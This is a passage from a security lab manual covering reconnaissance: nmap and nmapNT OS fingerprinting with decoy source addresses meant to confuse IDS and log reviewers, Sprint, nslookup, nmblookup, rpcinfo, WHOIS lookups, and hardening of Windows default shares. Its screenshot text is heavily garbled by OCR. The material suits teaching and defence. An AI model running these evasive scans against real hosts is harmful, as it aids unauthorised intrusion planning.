28 12.307638	24.213.28.234	172.16.1.40	TCP	50443 > 80 [ACK] Seq=0 Ack=0 Win
34 12.426033	24.213.28.234	172.16.1.40	TCP	50421 > 139 [SYN] Seq=0 Ack=0 Wi
39 12.439255	24.213.28.234	172.16.1.40	TCP	50428 > 139 [SYN, ECN] Seq=0 Ack
43 12.439653	24.213.28.234	172.16.1.40	TCP	50429 > 139 [] Seq=0 Ack=0 Win=3
47 12.439858	24.213.28.234	172.16.1.40	TCP	50430 > 139 [FIN, SYN, PSH, URG]
51 12.455524	24.213.28.234	172.16.1.40	TCP	50431 > 139 [ACK] Seq=0 Ack=0 Wi
55 12.455726	24.213.28.234	172.16.1.40	TCP	50432 > 33194 [SYN] Seq=0 Ack=0
50 40 405 TOA	24 242 20 224	470 46 4 44		50400 00404 Freud - 0 - 1 0

In this example the target has been identified as:

■ Running Microsoft Windows 95/98/ME/NT/2K or XP

Also notice that the MAC address of the target has been identified; and that the target is a VMware computer.

The nmapFE application acts as a front end for nmap and provides the user a "windowed" environment.

Follow the previous instructions to compile and create the nmap executable. The nmapFE application should be created during this process as well.

From a Linux terminal in the directory containing the nmapFE executable, type the following:



nmapfe

The nmapFE application will start.

Red Hat Linux - YMware Workstation		<u>_</u> _×
A Home The Windows 2000 Professional The Red Hat Linux & Server	Za Windows 2000 Server	×
▼ root@lo ▼ Nmap Front End v3.70		- 🗆 X
Eile Edit Eile ⊻iew		Help
[root@loc] Target(s): 127.0.0.1	Scan	Exit
Scan Discover Timing Files Options		
Scan Type	Scanned Ports	
SYN Stealth Scan 👱	Default	*
Relay Host:	Range:	
Scan Extensions		
RPC Scan Identid Info OS Detection Version Probe		
	1	
You are root - All options granted.		<u> </u>
		Mon Nov 07 9:14 PM

In this example to set the nmapFE scan to produce the same results as the Linux terminal counterpart (nmap):

- Change the default target of 127.0.0.1 to **172.16.1.40**.
- Change the Scanned Ports from Default to **Range Given Below** and enter **139**.
- Make sure only **OS Detection** is checked under Scan Extensions.

Click on the Options tab, select Decoy, and enter 24.213.28.234.

👰 Red Hat Linux - VMware Workstation	_ 🗆 ×
File Edit View VM Team Windows Help	
🏠 Home 📑 Windows 2000 Professional 🗃 Red Hat Linux 👫 Red Hat Linux 8 Server 📑 Windows 2000 Serve	×
Proteine Proteine <td< th=""><th></th></td<>	
	Mon Nov 07 10:05 PM

Click Scan.

题 Red Hat Linux - VMware Workstation	_O×
File Edit View VM Team Windows Help	
A Home 🛐 Windows 2000 Professional 🔐 Red Hat Linux 👫 Red Hat Linux 8 Server 🗿 Windows 2000 Server	×
Y root@lc Nmap Front End v3.70 Ello View Help	
File Four Line Alem Tash	
Target(s): 172.16.1.40 Scan Exit	
Scan Discover Timing Files Options	
Scan Type Scanned Ports	
SYN Stealth Scan 👻 Range Given Below 👱	
Relay Host: Range: 139	
Scan Extensions	
RPC Scan Identid Info IOS Detection Version Probe	
You are root - All options granted.	
	Ann Mary 07
	9:14 PM

The results of the scan will be given.

👰 Red Hat Linux - YMware Workstation	_ 🗆 ×
File Edit View VM Team Windows Help	
🔓 Home 🚡 Windows 2000 Professional 🔐 Red Hat Linux 👫 Red Hat Linux 8 Server 📑 Windows 2000 Server	×
👻 root@ 💟 Nmap Front End v3.70	×
Ele Ed File View	elp
[root@ld	
Target(s): 172.16.1.4U	<u></u>
Scan Discover Timing Files Options	
Scan Type Scanned Ports	
SYN Stealth Scan 🝷 Range Given Below 🝷	
Relay Host: Range: 139	
Scan Extensions	
DBC Seen Didential Info DC Detection Diversion Broke	
WARNING! The following files exist and are readable:	<u>^</u>
//usr/local/share/nmap/nmap-services and ./nmap-services. I am choosing //usr/local/share/nmap/services for security reasons. set NMAPDIR=, to give	
priority to files in your local directory PORT STATE SERVICE	
139/top open netbios-ssn	
/usr/local/share/nmap/nmap-mac-prefixes and ./nmap-mac-prefixes. I am choosing	
//usr/local/share/nmap/nmap-mac-prefixes for security reasons. set NMHPUIR=.to give priority to files in your local directory	
MAC Address: 00:0C:29:A3:E4:40 (VMware) Device type: general purpose	
Running: Microsoft Hindows 95/98/MEINT/2K/XP	
Advanced Server, or Hindows XP, Microsoft Hindows XP SP1	
Nwap run completed 1 IP address (1 host up) scanned in 2,208 seconds	
	Mon Nov 07 10:08 PM

Again, the sniffer from the target acknowledges the decoy IP address was sent to the target.

I	89 8.522688	24.213.28.234	172.16.1.40	TCP	58838 > 139 [SYN] Seq=0 Ack=0 Wir
I	83 8.416579	24.213.28.234	172.16.1.40	TCP	58837 > 139 [SYN] Seq=0 Ack=0 wir
	79 8.274097	24.213.28.234	172.16.1.40	TCP	58836 > 139 [SYN] Seq=0 Ack=0 wir
	74 8.126475	24.213.28.234	172.16.1.40	TCP	58835 > 139 [SYN] Seq=0 Ack=0 Wir
	69 7.937371	24.213.28.234	172.16.1.40	TCP	58834 > 139 [SYN] Seq=0 Ack=0 wir
	64 7.775972	24.213.28.234	172.16.1.40	TCP	58833 > 139 [SYN] Seq=0 Ack=0 wir
	59 7.739771	24.213.28.234	172.16.1.40	UDP	Source port: 58832 Destination p
	55 7.739389	24.213.28.234	172.16.1.40	TCP	58845 > 38764 [FIN, PSH, URG] Sec
	51 7.739072	24.213.28.234	172.16.1.40	TCP	58844 > 38764 [ACK] Seq=0 Ack=0 V
	47 7.738779	24.213.28.234	172.16.1.40	TCP	58843 > 38764 [SYN] Seq=0 Ack=0 V

The results from nmapFE are identical to the terminal version. Again, nmapFE is only a front end for nmap.

Lab 19: Operating System Identification

Identify Target Operating System: NmapNT

Prerequisites: None

- **Countermeasures:** Banner alteration, firewalls, Intrusion Detection System (IDS)
- **Description:** The nmapNT application can be used to identify the possible operating system (OS) of the target. An attacker uses this information to launch appropriate attacks for the results obtained. The difference between nmapNT and Xprobe2 from Chapter 2 is that this application allows the option of initiating a decoy IP address against the target.
- **Procedure:** Install nmapNT drivers, nmapNT application and run against the target.

```
nmap <options> (IP Address)
```

In order to use nmapNT on Windows you will most likely need to install the drivers included with the application.

Open the Properties of the NIC you are using by **right-clicking** on the **Network Neighborhood** and selecting **Properties**.



Right click on the network card and select Properties. Click Install.

L. Internal Wireless Properties
General Wireless Networks Advanced
Connect using:
Dual-band Wi-Fi <u>C</u> onfigure
This connection uses the following items:
Oteerministic Network Enhancer Oteerministic Network Enh
Install Uninstall Properties
Description Allows your computer to access resources on a Microsoft network.
 Show icon in notification area when connected Notify me when this connection has limited or no connectivity
OK Cancel

Click on **Protocol** to highlight it and click **Add**.

Select Network Component Type
Click the type of network component you want to install:
3 Protocol
Description
A protocol is a language your computer uses to
communicate with other computers.
Add Cancel

Click Have Disk.

Select Network Protocol		? ×
Click the Network Pro an installation disk for Manufacturer En Garde Microsoft	tocol that you want to install, then clic this component, click Have Disk. Network Protocol: Windows Packet Filter	k OK. If you have
▲ This driver is not digita <u>Tell me why driver signing is</u>	Ily signed!	<u>H</u> ave Disk

Click **Browse** and from the **nmapNT\drivers\packet2K** directory select the **Packet_2k.inf** file.

Install Fro	om Disk	x
-E)	Insert the manufacturer's installation disk, and then make sure that the correct drive is selected below.	OK Cancel
	Copy manufacturer's files from:	Browse

Click Open.

Locate File) Packet2K	Jan	?×
Packet 2k	.inf	Joan	
I			
File <u>n</u> ame:	Packet_2k.inf	•	<u>O</u> pen
Files of <u>type</u> :	Setup Information (*.inf)	7	Cancel

Click **OK**.

Install Fro	om Disk	×
Ŧ.	Insert the manufacturer's installation disk, and then make sure that the correct drive is selected below.	OK Cancel
	Copy manufacturer's files from: C:\Downloads\nmapNT\Nmapnt\DRIVERS\Pack 💌	Browse

Click \boldsymbol{OK} to acknowledge that you are installing a new packet driver.

Select Network Protocol	<u>?</u> ×
Click the Network Protocol that you want to install, then click OK.	
Network Protocol:	
Packet capture driver v2.02	
This driver is not digitally signed! <u>Tell me why driver signing is important</u>	
OK]Ca	ncel

The driver will install. Click Close.

上 Internal Wireless Properties	? ×
General Wireless Networks Advanced	
Connect using:	
■ Dual-band Wi-Fi	<u>C</u> onfigure
This connection uses the following items:	
Client for Microsoft Networks	_
Virtual Machine Network Services	
Deterministic Network Enhancer	_
I <u>n</u> stall <u>U</u> ninstall	Properties
_ Description	
Allows your computer to access resources or	n a Microsoft
network.	
Show icon in notification area when connec	ted
✓ Notify me when this connection has limited a	or no connectivity
Close	e Cancel

In this example to execute nmap against a target with the IP of 172.16.1.40 in order to determine the target's operating system, type the following:

nmapNT -sS -p 139 -O -D 24.24.24.24 172.16.1.40

- The –sS option instructs nmap to use a TCP SYN stealth port scan. This option is initiated by default if you are logged in as the root user.
- The -p 139 option instructs nmap to scan for a specific port, in this case port 139.
- The –O option instructs nmap to use TCP/IP fingerprinting to guess the target operating system.
- The -D 24.24.24.24 option instructs nmap to use this IP address as a decoy against the target to attempt to throw anyone off that may be reviewing the logs, IDS sensors, and so forth.
- *Note: The -p 139 in the example above can be any port but normally is a port known to be open on the target so many times port 53 or 80 is used.

Also, with the –D option the attacker can enter several decoy IP addresses separated by a comma (24.24.24.24, 24.24.25, ...) but keep in mind the *real IP address* will also traverse to the target as well. This supports using more decoy IPs or spoofing your IP address altogether (spoofing is covered in Chapter 6).



The scan results will be displayed.

C:\WINNT\System32\cmd.exe	_ 🗆 🗙
C:\Downloads\nmapNT\Nmapnt>nmapnt -s\$ -p 139 -0 -D 24.24.24.24 172.16.1.40	
Starting nmapNT U. 2.53 SP1 by ryan@eEye.com) eEye Digital Security < http://www.eEye.com) based on nmap by fyodor@insecure.org < www.insecure.org/nmap/)	
Interesting ports on win2000s-v (172.16.1.40): Port State Service 139/tcp open netbios-ssn	
TCP Sequence Prediction: Class=random positive increments Difficulty=17260 (Worthy challenge) Remote operating system guess: Windows 2000 Professional, Build 2183 (RC3)	
Nmap run completed 1 IP address (1 host up) scanned in 1 second	
C:\Downloads\nmapNT\Nmapnt>	
	-

The sniffer results (sniffers are covered in Chapter 5) validate that the decoy packets were indeed sent to the target.

25 18.270549	24.24.24.24	172.16.1.40	TCP	45391 > 80 [ACK] Seq=0 Ack=0 win
30 18.633611	24.24.24.24	172.16.1.40	TCP	45371 > 139 [SYN] Seq=0 Ack=0 Wi
34 18.649427	24.24.24.24	172.16.1.40	TCP	45378 > 139 [SYN, ECN] Seq=0 Ack
38 18.650003	24.24.24.24	172.16.1.40	TCP	45379 > 139 [] Seq=0 Ack=0 win=4
42 18.664043	24.24.24.24	172.16.1.40	TCP	45380 > 139 [FIN, SYN, PSH, URG]
46 18.664563	24.24.24.24	172.16.1.40	TCP	45381 > 139 [ACK] Seq=0 Ack=0 Wi
50 18.665042	24.24.24.24	172.16.1.40	TCP	45382 > 43299 [SYN] Seq=0 Ack=0
54 18.673674	24.24.24.24	172.16.1.40	TCP	45383 > 43299 [ACK] Seq=0 Ack=0
58 18.674226	24.24.24.24	172.16.1.40	TCP	45384 > 43299 [FIN, PSH, URG] Se
62 18.674471	24.24.24.24	172.16.1.40	UDP	Source port: 45371 Destination
CO 40 C740C0				

The results of this scan indicate that the target:

■ Is probably using Windows 2000 Professional, which is accurate for the target.

Lab 20: IP/Hostname Enumeration

Enumerate IP or Hostname: Nslookup

Prerequisites: None

Countermeasures: Firewalls, Intrusion Detection Systems (IDS)

Description: The nslookup application will query the Domain Name System (DNS) to obtain the hostname to IP match in the DNS records. **Procedure:** From a DOS prompt or Linux shell type the following with

the syntax of

nslookup (Hostname or IP Address)

Command Prompt	
C:\Tools\Foundstone1>nslookup 143.166.83.231 Server: hot-dns-cac=02-dmfe0.hot.rr.com Address: 24.26.193.63	
Name: www.dell.com Address: 143.166.83.231	
C:\Tools\Foundstone1>	
	_

In this example the nslookup application returned the hostname of www.dell.com for the IP address of 143.166.83.231.



Nslookup works well in Linux as this example resolved the hostname of www.google.com to both 64.233.167.104 and 64.233.167.99.

*Note: According to the Linux lab above the nslookup command is not the preferred choice in Linux as the Dig command is recommended. The Dig command is used to resolve name server information like nslookup.

Lab 21: IP/Hostname Enumeration

Enumerate IP or Hostname: Nmblookup

Prerequisites: None

Countermeasures: Firewalls, Intrusion Detection Systems (IDS)
 Description: The nmblookup application will query the NetBIOS name and map that name to the IP address using NetBIOS over TCP/IP queries. All queries are done over the UDP protocol. Using the –T in place of the –A option will return the IP address for a given hostname.
 Procedure: From a Linux shell type the following with the syntax of

nmblookup <options> (Hostname or IP Address)



In this example, www.texnet.net returns an IP address of 64.217.60.4.

Lab 22: RPC Reporting

Report the RPC of Target: Rpcinfo

Prerequisites: None

- **Countermeasures:** Disable unneeded services; allow only needed ports through the firewall
- **Description:** The rpcinfo application makes a Remote Procedure Call (RPC) to the target and reports the results. Attackers use the results to identify what ports/exploits to attack/use.
- Procedure: From a Linux shell type the following with the syntax of:

rpcinfo <options> (Hostname)

In this example, the target 192.168.11.123 has 5 RPC ports open.



*Note: Notice rpcinfo reports both TCP and UDP ports. Many users forget there are 65535 TCP and 65535 UDP ports to be concerned with. Many times UDP is overlooked.

Lab 23: Location/Registrant Identification

Gather Registration Info/Trace Visual Route: Visual Route

Prerequisites: None

- **Countermeasures:** Use generic registrant information; use registrants to hide your personal information.
- **Description:** The Visual Route Web site located at **http://www.visualroute. com** provides not only a route to the target but a visual indication of the location of the target in a representation of a global map. The registrant information may also be obtained on the target or links to the target. There is also a visual route application for Windows that can be purchased.
- **Procedure:** From **http://www.visualroute.com** enter the target hostname or IP.



In this example, Visual Route tracks and displays a route to **http://www.disney.com**. Each link is not only identified by its IP address

but a location is given for each link. Attackers use this information to identify potential routers between themselves and their intended targets.

File	ualRoute Edit Onti	6.0b ons Topis Help	_						<u> </u>	
Addre: LSR	ss http://w	ww.hotmail.com					• © 1P4	ddresses 207.68.171.23 38.15n, 69.39w		
Analy netwo	Real-time report for www.hotmail.com [207.68.171.233] (50% done)									
Нор	%Loss	IP Address	Node Name	Location	Tzone	ms	Graph	Network	0	
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17		$\begin{array}{c} 192.168.1.102\\ 10.72.64.1\\ 24.93.33.153\\ 66.185.133.144\\ 24.93.33.153\\ 66.185.163.149\\ 86.185.165.134\\ 86.185.165.144\\ 86.185.165.122\\ 86.185.152.126\\ 86.185.152.126\\ 86.185.152.126\\ 86.185.152.126\\ 86.185.152.126\\ 86.185.152.123\\ 86.185.152.123\\ 86.185.152.123\\ 86.185.152.123\\ 86.185.152.123\\ 86.185.123\\ 10.77.8\\ 10.7$	matimus-hp pos0-3 wacobmhe-trl.1 pos0-0.1 histoff-arth/14 lex son0-0.0 histoff-arth/14 lex son0-0.0 histoff-arth/16 lex bb1-dis-PC-0 atin.net bb2-dis-PC-0 atin.net bb1-dis-PC-0 atin.net ch-4-0 cored 2.0 atin.net ch-4-0 cored 2.0 hicago3 ti cf-4-0 cored 2.0 hicago3 ti cf-20 core2.8 acrament cf-20 core2.8 acrament	Chicago, IL, USA Chicago, IL, USA Chicago, IL, USA Chicago, IL, USA Sacramento, CA, USA	-06:00 -06:00 -06:00 -08:00	15 11 24 35 31 32 75 44 51 68 75 68 75 68 75 67 152 155 118 114		(private use) (private use) 24.26.192.0 24.93.23.0 24.93.23.0 66.185.163.0 66.185.163.0 66.185.163.0 66.185.152.0 66.185.152.0 66.185.152.0 66.185.152.0 66.185.152.0 66.185.152.0 66.185.152.0 66.185.127.0 207.45.223.0 64.86.83.0 64.86.83.0		
? Rour	dtrin time	207.68.171.233	www.hotmail.com	ms max = 121ms 16-	Jan-04	10:10:34	PM	207.68.171.0	_	
	Proundump ume to d4.80.190 2, average = 114ms, min = 101ms, max = 121mS - 18-J3h-04 10/10/34 PM									

In this example, the location and links to the **http://www.hotmail.com** target are given. The map that is generated can be zoomed in closer by leftclicking on an area of the map. By clicking on the target the registrant information is obtained.

DOMAIN: ho	tmail.com	(whois.net	work	solution	ns.c	om)		S	nap	<-	->	Х
Network So	olutions	reserves	the	right	to	modify	these	terms	at	any	time	
Registrant	::											
Microsoft	Corporat	tion (HOT	MAIL	-DOM)								
Bedmond	1. CA 980	049 052										
US	·											
Domain	Name: H	OTMAIL.CO	м									
Adminis	strative	Contact:										
Gudi	undson,	Carolyn	(PPI	JFRBYFU	NI)		doma	ins@mi	cros	soft.	com	
One	Microsof	ft Way										
Redi	iona, WA	98052										
(425	5) 882-80	080 fax:	(425	936-1	7329	Э						
Technic	al Conta	act:										
NOC,	, MSN (H	RWJALTFZA:	I)			msnhst	@micro:	soft.c	om			
One	Microsof	ft Way										
Recu	iona, wA	98052										
425-	-882-8080	D										
Record	expires	on 28-Mar	c-20.	10.								
Record	created	on 27-Mai	c-19	96.								
Databas	se last u	updated or	n 16	-Jan-20	004	23:10:	44 EST					
Domain	servers	in liste	1 or	der:								
NS1.HOT	MAIL.COM	м		216.3	200	206.14	D					
NS3.HOT	MAIL.COM	м		209.3	185.	130.68						
NS2.HOT	MAIL COL	м		216.3	200.	206.13	9					
NS4.HOT	MAIL.COL	м		64.4	. 29	.24						

*Note: Notice the DNS server IP addresses and hostnames are given as well, which may provide more useful targets.

Lab 24: Registrant Identification

Gather IP or Hostname: Sam Spade

Prerequisites: None

- **Countermeasures:** Use generic registrant information; use registrants to hide your personal information.
- **Description:** The Sam Spade Web site located at **http://www.samspade. org** provides a variety of tools against a target such as registrant information and tracing the route to the target.
- **Procedure:** From the **http://www.samspade.org** Web site enter the target hostname or IP.

In this example, the target site is **http://www.spiveytech.com**.



By clicking the **Do Stuff** button the registrant information is retrieved by a WHOIS query.

whois - Microsoft Internet Explorer provided by JHA	
Ele Edit View Favorites Iools Help	121
③ Back • ③ · 🖹 🖉 🏠 🔎 Search ☆ Favorites 🐠 Media 🔗 🔗 · 🎽 🕅 • 🗌 🚮 🕰 .	3
Address 🗃 http://www.samspade.org/t/whois?a=www.spiveytech.com@server=auto&_charset_=utf-8 🛛 👻 🛃	Go Links 30
Google - 🚯 Search Web + 🚳 🗗 545 blodied 🗑 Actor 🖬 🛃 Options 🥒	
	0
whois	
Whois: www.spiveytech.com	
@whois Magic v Whois	
Ç	
Server Used: [whois.crsnic.net]	
www.spiveytech.com = [64.217.60.4]	1
II whois.wildwestdomains.com failed to respond **** displaying Referer's Records (whois crisnic.net)	- 1
Whois Server Version 1.3	- 1
Domain names in the .com and .net domains can now be registered with many different competing registrars. Go to http://www.intermic.net for detailed information.	- 6
Domain Name: SPIVEYTECH.COM Registrar: WILD WEST DOMAINS INC. Wholds Server: Wholes wildowestownains.com Referal URL: http://www.wildowestoemains.com Name Server: NSI: ILEXINET.NET Status: ACTIVE Updated Date: 10-ep-2004 Creation Date: 10-ep-2004 Creation Date: 10-ep-2004 Creation Date: 10-ep-2005 >>> Last update of whois database: Mon. 11 Oct 2004 06: 58: 27 EDT <<<	
registrar's sponsorship of the domain name registration in the registry is	
Done Internet Set to exhibit a this nate does not necessarily reflect the exhibition	

The results of this example show that:

- http://www.spiveytech.com has the IP address of 64.217.60.4.
- The site is registered through the Wild West Domains, Inc. Registrar.
- The site uses the DNS Name servers of NS11.TEXNET.NET and NS21.TEXNET.NET.
- In this example the registrant personal information is hidden behind the Wild West Domains, Inc. The name server information may also provide useful targets to an attacker.
- An application of Sam Spade is also available for purchase for Windows.

没Spa 贾 Eile	ade - [IP block www.h e Edit Yiew Window	otmail.com, finished] / Basics Tools Help	_ D ×
www	v.hotmail.com	▼ 🔹 🗣 10 🛨 🏶 Magic 💽 🐮	
dia Log Log	01/16/04 21 Trying 207. Trying 207.	:56:47 IP block www.hotmail.com 68.171.233 at ARIN 68.171 at ARIN	
Copy Paste	OrgName: OrgID: Address: City: StateProv: PostalCode:	Microsoft Corp MSFT One Microsoft Way Redmond WA 98052	
.net .12.1 DNS Whois	Country: NetRange: CIDR:	US 207.68.128.0 - 207.68.207.255 207.68.128.0/18, 207.68.192.0/20	
IPBlock Dig	NetName: NetHandle: Parent:	MICROSOFT-CORP-MSN-BLK NET-207-68-128-0-1 NET-207-0-0-0	
Trace	NameServer: NameServer: NameServer: NameServer:	DNS1.CP.MSTT.NET DNS1.CP.MSTT.NET DNS1.TK.MSFT.NET	
SMTP Time	NameServer: NameServer: Comment: RegDate:	DNS1.DC.MSFT.NET DNS1.SJ.MSFT.NET 1996-03-26	
veb T∘	Updated:	2003-01-15	•
For Help	ww.hotmail.com (whoi o, press F1	歌 www.hotmail.com [dns] 御わ www.hotmail.com (whoi 日間 www.hotmail.com [l] 0	

In this example, the target is **http://www.hotmail.com**.

☆Spade - [whois www.hotmail.com, finished] <u>- 🗆 ×</u> 🍘 Eile Edit View Window Basics Tools Help _ 🗗 🗙 👻 🔹 🗣 🛛 🛨 🏶 Magic .net .12.1 www.hotmail.com -01/16/04 21:53:52 whois www.hotmail.com ٠ .com is a domain of USA & International Commercial Searches for .com can be run at http://www.crsnic.net/ whois -h whois.crsnic.net hotmail.com ... Сору Whois Server Version 1.3 E Domain names in the .com and .net domains can now be registered . Ping with many different competing registrars. Go to http://www.internio for detailed information. .net .12.1 DNS **R** Whois HOTMAIL.COM.IS.NOT.AS.1337.AS.GULLI.COM HOTMAIL.COM.AU HOTMAIL.COM To single out one record, look it up with "xxx", where xxx is one (of the records displayed above. If the records are the same, look t with "=xxx" to receive a full display for each record. S Trace Finger >>> Last update of whois database: Fri, 16 Jan 2004 18:51:54 EST <-R NOTICE: The expiration date displayed in this record is the date th ()) Time registrar's sponsorship of the domain name registration in the reg: currently set to expire. This date does not necessarily reflect the 爂 date of the domain name registrant's agreement with the sponsoring 🚽 T. 1 Þ 🚓 www.hotmail.com (v For Help, press F1 0

The results reveal the IP address range owned, the address of the registrant, the name servers used, and the date registered.

*Note: Keep in mind that this type of information gathering is completely under the radar and not detected by the target.

Lab 25: Operating System Identification

Gather OS Runtime and Registered IPs: Netcraft

Prerequisites: None

Countermeasures: None

- **Description:** Determining the target operating system (OS) lets a potential attacker know what attacks to launch. The **http://www.netcraft.com** Web site allows you to retrieve this information.
- **Procedure:** From the **http://www.netcraft.com** Web site enter the target hostname or IP.

Netcraft retrieves the latest information about the site entered.


In this example the target is http://www.hotmail.com. The results reveal:

- The target is running on Microsoft Windows 2000.
- The target is using IIS 5.0.
- The date this information last changed.
- The IP addresses associated with the target.
- The netblock owner.

🚈 Netcraft What's	That Site Running	Results - Microsoft	Internet Explor	er			_	
<u>File E</u> dit <u>V</u> iew	Favorites <u>T</u> ools	Help						
⇐ Back + ⇒ + (S 🖸 🖆 🔕s	earch 🗽 Favorites	🖗 Media 🏼 🌀	B- 3 - 1				
Address 🙆 http://u	ptime.netcraft.com/u		tmail.com				▼ @60	Links »
Google -		Search Web	• 😧 Search Site	0 · P	66 blocked	€_ Op	tions 🔁 🔹 🥒	
Server				C/ Netcratt, WW	w.netcra	ITT.COM	London	
Monitoring								
Security				Dealiseday	Current	1		
Automated Security	Display Opt	tions: Moving Avera	_{ge:} 90 days _	- Redisplay	Graph		Get Confident	
Testing							Get it Right	
Dedicated Server		Uptime Summ	arv for www	.hotmail.com			Get DataPipe	
Monitoring	Note: Untime	- the time since las	t reboot is explai	ined in the FAO	Time ir	Days	L	
Web	Foreitopanie	Plotted Value	crebbbers expla	No. samples	Max	Latest		
Testing & Site	v	vindows 2000		423	214.98	56.17		
Audits	sh-09	w Moving average		1145	24.33	24.33		
Security Services FAO		.,		1145	2	2		
Uptime						_		
Longest	OS, Web	Server and Ho	sting History	for www.hotn	nail.con	n –		
uptimes	0\$	Server	Last changed	IP address	Netblock	Owner		
locations	Windows 2000	Microsoft-IIS/5.0	19-Apr-2003	207.68.173.245	Micros	oft Corp		
Most	Windows 2000	Microsoft-IIS/5.0	18-Apr-2003	207.68.171.233	Micros	oft Corp		
requested	Windows 2000	Microsoft-IIS/5.0	18-Apr-2003	207.68.172.239	Micros	oft Corp		
sites	Windows 2000	Microsoft-IIS/5.0	30-Aug-2001	64.4.45.7	MS	Hotmail		
Advertising	Windows 2000	unknown	28-Aug-2001	64.4.54.7	MS	Hotmail		
Advertising on	Windows 2000	Microsott-115/5.0	21-Aug-2001	64.4.43.7	MS	Hotmail		
Netcraft	Windows 2000	Microsoft-US/5.0	1-Mau-2001	64.4.44.7	MC	Hotmail		
About	Windows 2000	Microsoft-IIS/5.0	1-May-2001	64 4 43 7	MS	Hotroail		
About Netcraft	Windows 2000	unknown	29-Apr-2001	64.4.45.7	MS	Hotmail		
Fairlies								-
Done 🖉							🍘 Internet	//.

*Note: Bear in mind that this is a good estimation of the current operating system in use and is overall quite accurate.

Lab 26: Operating System Identification

Scan Open Ports of Target: Sprint

Prerequisites: None

Countermeasures: None

- **Description:** The Sprint application is used to determine the operating system (OS) of the target. An attacker uses this information to better determine what attack or exploit to use against the target.
- **Procedure:** Compile, make, and create the application and run against the target with the syntax of:

./sprint <options> (Target)

From the directory containing the compressed Sprint file type **tar** –**zxvf sprint-0.4.tgz**.

The files will uncompress and install into a newly created directory named **sprint-0.4**.

Change to the new directory by typing **cd sprint-0.4** and press **Enter**. Compile the application by typing **make linux**.



The Sprint application will compile.

To execute the Sprint application against the target to detect the operating system, type:

./sprint -t (Target IP Address)

_ 🗆 🗙 💐 Red Hat Linux - ¥Mware Workstation Edit View VM Team Windows Help e 🔐 Windows 2000 Professional 🔐 Red Hat Linux ✔ root@localhost:~/tools/sprint-0.4.1 - Shell - Kon Session Edit View Settings Help 10 [root@localhost sprint-0.4.1]# ./sprint -t 172.16.1.40 --- -- Sprint 0.4.1 Remote system guess : Windows 2000 (172.16.1.40) [root@localhost sprint-0.4.1]# gnon Mozi $\mathbf{S} \otimes \mathbf{S} \otimes \mathbf{S} \otimes \mathbf{S}$ Fri Nov 04 11:49 AM 0

In this example, the target of 172.16.1.40 is operating on Windows 2000. An attacker will take this information and launch Windows 2000 exploits, which are attacks against the target.

*Note: The -t option tells Sprint to operate in Active mode. If you need to operate in Passive mode use the -l option instead of the -t.

Lab 27: Default Shares

Disable Default Shares: Windows Operating System

Prerequisites: None

- Countermeasures: Host-based firewalls, Restrict Anonymous, Registry Edit
- **Description:** The default shares for Windows computers can be as useful to an attacker as the intended user. The default shares of concern are ADMIN\$ and one for each logical disk on the system (C Drive = C\$, D Drive = D\$, etc.) Once an attacker has identified the default shares a dictionary attack can be attempted against these shares. The objective of this lab is to disable the default shares.
- *Note: Disabling the default shares will render the Microsoft Systems Management Server (SMS) and potentially other administrative networking tools inoperative as they depend on the default shares for their connectivity. The average home user should be able to disable these shares without incident. Verify with the network administrator at the office. This lab concentrates on countermeasures.
 - **Procedure:** Open Control Panel/Administrative Tools/Computer Management (or right-click on My Computer and select Manage).



Double-click the **SHARES** to open the shares to the computer and identify the default shares. In this example, the **ADMIN\$** and **C\$** are the shares of concern.



Click on START/RUN and type Regedit. Click OK.

I Windows 2000 Server - VMware Workstation			
File Edit View VM Power Snapshot Windows Help			
🔲 🔢 🕟 🧐 🖬 Snapshot 🙀 Revert 🗊 🐼 🛅			
Red Hat Linux 8 Server Windows 2000 Server Windows XP Professional SUSE Linux 8.	.2 Red Hat Linux 8.0	Whoppix Red	- + ×
📽 Start 🕜 🕾 🖼 🖼 🖂 🔍 Computer Management		640	8:11 PM
Run ? X			200
Type the name of a program, folder, document, or			etwox525
Internet resource, and Windows will open it for you.			
Open: renedit F A Shared Path	Туре	# Client Redirection	1
IN\$ C:\WINNT	Windows	0	etwan525
OK Cancel Browse	Windows	0	
My Network			
Shares			
Open Files			
Recycle Bin Bevice Manager			
E Storage			
Disk Management			
Internet Logical Drives			
Removable Storage			
Bar Services and Applications			
netwox-5.2			
		<u> </u>	
netw-ib-ox	J	J	
		£ 6	200

Browse to the following:

HKEY_LOCAL_MACHINE/System/CurrentControlSet/Services/ lanmanserver/parameters

Windows 2000 Server - VMware	e Workstation			
File Edit View VM Power Sna	apshot Windows Help			
🔲 💵 🕟 🚱 🗖 Snapshot	Revert 🚺 💭 🛅			
Red Hat Linux 8 Server Windows 29	00 Server Vindows XP Pro	ntessional SLISE Linu	x 8 2 Red Hat Linux 8 0 Whoppix Red	I + ≻ ×
📾 Start 🛛 🕫 🖾 🖼 🛤	Computer Management	Registry Editor		8:16 PM
d' Pegistav Editor		Till register / careor		
Registry Edit View Favorites Help				
IsmServ 🔺	Name	Туре	Data	
😟 🧰 Kbdclass	ab)(Default)	REG SZ	(value not set)	
😟 💼 kdc	「別 autodisconnect	REG DWORD	0×0000000f (15)	
E C KSecDD	유방]enableforcedlogoff	REG DWORD	0×00000001 (1)	
E lanmanserve	Agenablesecuritysignature	REG DWORD	0x00000000 (0)	
Autotune	88 Guid	REG BINARY	b1 46 7a 0e 55 2f 0f 41 95 20 1d 7e 5f 6e 79 12	
DefaultS	第間Lmannounce	REG DWORD	0×00000000 (0)	
Enum	ab NullSessionPipes	REG MULTI SZ	COMNAP COMNODE SOL\OUERY SPOOLSS LLSRPO	EP
Cinkage	ab NullSessionShares	REG MULTI SZ	COMCEG DES\$	
Security	88 requiresecuritysignature	REG DWORD	0×00000000 (0)	
E. Sharer	R& Size	REG DWORD	0x00000001 (1)	
T lanmapworks	1	-		
brtfdc				
🗉 🛄 LicenseInfo 💻]			
🗄 🛄 LicenseServic				
😟 🛄 LmHosts				
😟 🧰 lp6nds35				
😟 🧰 Messenger				
🕀 🧰 mnmdd				
🗄 🛄 mnmsrvc				
E Modem				
Mouclass				
MountMgr				
mraid35x				
R C Mate				
MISIS MSETDSVC				
H MSIServer				
H MSKSSRV	1			
My Computer\HKEY_LOCAL_MACHINE\SYST	EM\CurrentControlSet\Services	lanmanserver\parameter:	s	
			물은	

Right-click and select **NEW**, **DWORD value**. Enter the name of **AutoShare-Server** and enter a value of **0**.

🔊 Windows 2000 Server - VMware	Workstation		
File Edit View VM Power Sna	pshot Windows Help		
👖 🖬 🕟 🚱 🖬 Snapshot	Revert 💽 💭 🛅		
